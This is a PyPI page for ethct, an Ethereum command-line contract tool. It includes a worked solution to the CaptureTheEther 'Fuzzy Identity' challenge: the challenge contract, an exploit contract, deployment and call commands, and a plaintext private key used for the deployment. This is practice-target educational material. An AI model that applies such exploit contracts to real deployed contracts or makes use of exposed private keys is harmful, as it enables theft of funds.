Skip to main content

Ethct: Ethereum contract tool (command line)

1. Now support:

  • Contract compiliation
  • Contract deployment
  • Contract function calls
  • Retrieve infomation from chain

2. Install

Install solc on MacOS:

brew tap ethereum/ethereum
brew install solidity

For Linux/Windows, please refer to the Solidity documentation.

Install ethct:

pip install ethct

3. Usage

  1. Config the tool first:

    ethct --config --privkey <PRIVKEY> --infurakey <INFURAKEY> --network <NETWORK>
    
  2. Compile a contract and save the output files:

    ethct --compile <CONTRACT_FILE> --save
    
  3. Deploy a contract on ropsten testnet:

    ethct --deploy <CONTRACT_FILE> --network <NETWORK> --contract <CONTRACT_NAME> --args '<PARAMETER0> <PARAMETER1> ...' --value <VALUE_IN_ETHER>
    
  4. Call contract function:

    ethct --address <ADDRESS> --abi <ABI_FILE> --call '<FUNCTION_NAME> <PARAMETER0> <PARAMETER1> ...'
    

    If it's a payable function:

    ethct --address <ADDRESS> --abi <ABI_FILE> --call '<FUNCTION_NAME> <PARAMETER0> <PARAMETER1> ... value:<VALUE_IN_ETHER>'
    

    If the ABI file can be found in the current 'build' directory, just give the contract name:

    ethct --address <ADDRESS> --contract <CONTRACT_NAME> --call '<FUNCTION_NAME> <PARAMETER0> <PARAMETER1> ...'
    
  5. Send raw transaction:

    ethct --sendtx --to <ADDRESS> --value <VALUE_IN_ETHER> --data <DATA> --nonce <NONCE>
    
  6. Get contract storage:

    ethct --getstorage <ADDRESS> --position <INDEX>
    
  7. Get block:

    ethct --getblock <BLOCKNUM>/latest/earliest/pending/<BLOCKHASH>
    
  8. Get transaction:

    ethct --gettx <TXHASH>
    
  9. Get balance:

    ethct --getbalance <ADDRESS>
    
  10. Get nonce:

ethct --getnonce <ADDRESS>

Example

Here is an example on how to use ethct, the contract is from Fuzzy Identity Challenge.

Here is the challenge contract, your task is to set isComplete to true:

pragma solidity ^0.4.21;

interface IName {
    function name() external view returns (bytes32);
}

contract FuzzyIdentityChallenge {
    bool public isComplete;

    function authenticate() public {
        require(isSmarx(msg.sender));
        require(isBadCode(msg.sender));

        isComplete = true;
    }

    function isSmarx(address addr) internal view returns (bool) {
        return IName(addr).name() == bytes32("smarx");
    }

    function isBadCode(address _addr) internal pure returns (bool) {
        bytes20 addr = bytes20(_addr);
        bytes20 id = hex"000000000000000000000000000000000badc0de";
        bytes20 mask = hex"000000000000000000000000000000000fffffff";

        for (uint256 i = 0; i < 34; i++) {
            if (addr & mask == id) {
                return true;
            }
            mask <<= 4;
            id <<= 4;
        }

        return false;
    }
}

The only way to set isComplete to true is call the authenticate function, but with 2 restrictions:

  • The caller has to implement the IName interface, which means the caller has to be a contract.
  • The address of the caller must contains badc0de, we know that contract addresses are generated deterministically in Ethereum with the rightmost 160 bits of the keccak256 result of the sender address and nonce in RLP encoding. After a while of brute forcing, we can get a right private key and nonce. Code.

Here is our exploit contract:

pragma solidity ^0.4.21;

import "./fuzzy_identity.sol";

/*
interface IName {
	function name() external view returns (string) {}
}
*/

contract returnSmarx is IName {
	function name() public view returns (bytes32) {
		return bytes32("smarx");
	}

	function exploit(address _addr) public {
		FuzzyIdentityChallenge c = FuzzyIdentityChallenge(_addr);
		c.authenticate();
	}
}

contract returnAddress {
	function keccakHash(address _addr, uint8 nonce) public returns (address) {
		return address(keccak256(0xd6, 0x94, _addr, nonce));
	}
}

We now have a private key ca96819b848883b0694c8b284d55f1259849339e477e7d606f07ce0656fbe357 and a nonce value 6, the associate address is 0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3B, we need to use this account to deploy the exploit contract and call the exploit funtion.

First, configure ethct with one of your own private keys:

ethct --config --privkey <YOUR_PRIVATE_KEY>

Transfer some ether to 0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3B

ethct --sendtx --to 0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3B --value 0.1

Now switch account:

ethct --config --privkey ca96819b848883b0694c8b284d55f1259849339e477e7d606f07ce0656fbe357

Deploy returnSmarx contract:

ethct --deploy ./fuzzy_identity_solver.sol --contract returnSmarx

Note that the nonce should be 6 to generate the correct contract address, you can just deploy the contract 6 times, and you can check the nonce of the address use the following command:

ethct --getnonce 0xe09FBEFc7FfE44FB5E825Edd797dE0160e1d7B3B

Now we have successfully deployed the returnSmarx contract to address 0x433F86192F11A521261BAdC0dec67bf812360442 which contains badc0de.

Call the exploit function of returnSmarx contract at 0x433F86192F11A521261BAdC0dec67bf812360442:

ethct --address 0x433F86192F11A521261BAdC0dec67bf812360442 --contract returnSmarx --call 'exploit 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C'

Or you can do it like this:

ethct --address 0x433F86192F11A521261BAdC0dec67bf812360442 --abi ./build/returnSmarx.abi --call 'exploit 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C'

Now we can check if isComplete is set to true in the challenge contract at 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C:

ethct --getstorage 0xC56B60E8e91Dc1Bdf6231fb942cdbf5EAE74033C --position 0
# result: 0x0000000000000000000000000000000000000000000000000000000000000001

And that's it, we just completed the Fuzzy Identity Challenge!

4. Why build this

To make my life easier completing the CaptureTheEther challenges.

leaderboard

Release files for ethct 19.11.3

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for ethct 19.11.3
File Size Uploaded
ethct-19.11.3.tar.gz 7.7 kB Details

Release files / ethct-19.11.3.tar.gz

Download URL ethct-19.11.3.tar.gz
Size 7.7 kB
Tags Source
SHA-256 checksum
How to use checksums
fdc974b0c72bd33cd214670adaadaf850109e49218c717bc577d332c764cf129
BLAKE2b-256 checksum
How to use checksums
e13ef2a8969f16054064bb60584feccb6b605f07df9c5342419dc741591e52c9
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/2.0.0 pkginfo/1.5.0.1 requests/2.22.0 setuptools/41.6.0 requests-toolbelt/0.9.1 tqdm/4.37.0 CPython/3.6.7

Release history Release notifications | RSS feed

This release

19.11.3 This release

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page